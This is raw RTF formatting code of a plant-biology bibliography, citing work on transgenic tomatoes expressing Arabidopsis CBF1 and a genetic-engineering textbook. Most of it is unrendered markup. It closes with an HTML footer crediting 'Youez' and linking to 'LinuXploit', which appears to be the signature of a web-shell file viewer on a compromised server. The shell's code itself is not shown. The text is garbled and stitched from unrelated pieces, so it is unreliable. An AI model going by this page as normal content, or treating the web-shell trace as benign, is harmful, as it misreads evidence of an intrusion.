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\i\fs20\insrsid11826098\charrsid16345645 Mol. Breed.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 5:}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid11826098\charrsid16345645  463\endash 470. 
\par 
\par Glick Bernard R., Jack, J. Pasternak and Cheryl, L. patten. 2010. Genetic Engineering of Plants; Methodology, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 
Molecular Biotechnology Principles and Application of Recombinant DNA (4}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\super\insrsid11826098\charrsid16345645 th}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645  Edition). }{
\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid11826098\charrsid16345645 3 }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 (18): 723-758.
\par 
\par Hsieh, T.H., J.T. Lee, Y.Y. Chang and M.T. Chan. 2002a. Tomato plants ectopically expressing }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Arabidopsis CBF1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid11826098\charrsid16345645  show enhanced resistance to water deficit stress, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Plant Physiol.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 130:}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  618\endash 626. 
\par {\*\bkmkstart bib32}{\*\bkmkend bib32}
\par Hsieh, T.H., J.T. Lee, P.T. Yang, L.H. Chiu, Y.Y. Charng, Y.C. Wang and M.T. Chan. 2002b. Heterology expression of the }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Arabidopsis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid11826098\charrsid16345645  C-repeat/dehydration response element binding factor 1 gene confers elevated tolerance to chilling and oxidative stresses in transgenic tomato, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid11826098\charrsid16345645 Plant Physiol.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 129:}{\rtlch\fcs1 \af0\afs20 
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\par 
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\par }\pard \ltrpar\qc \fi-684\li684\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin684\itap0\pararsid803208 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 **************************
\par }\pard\plain \ltrpar\s3\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid803208 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
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0000000000000000000000000000000000000000000000000105000000000000}}</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>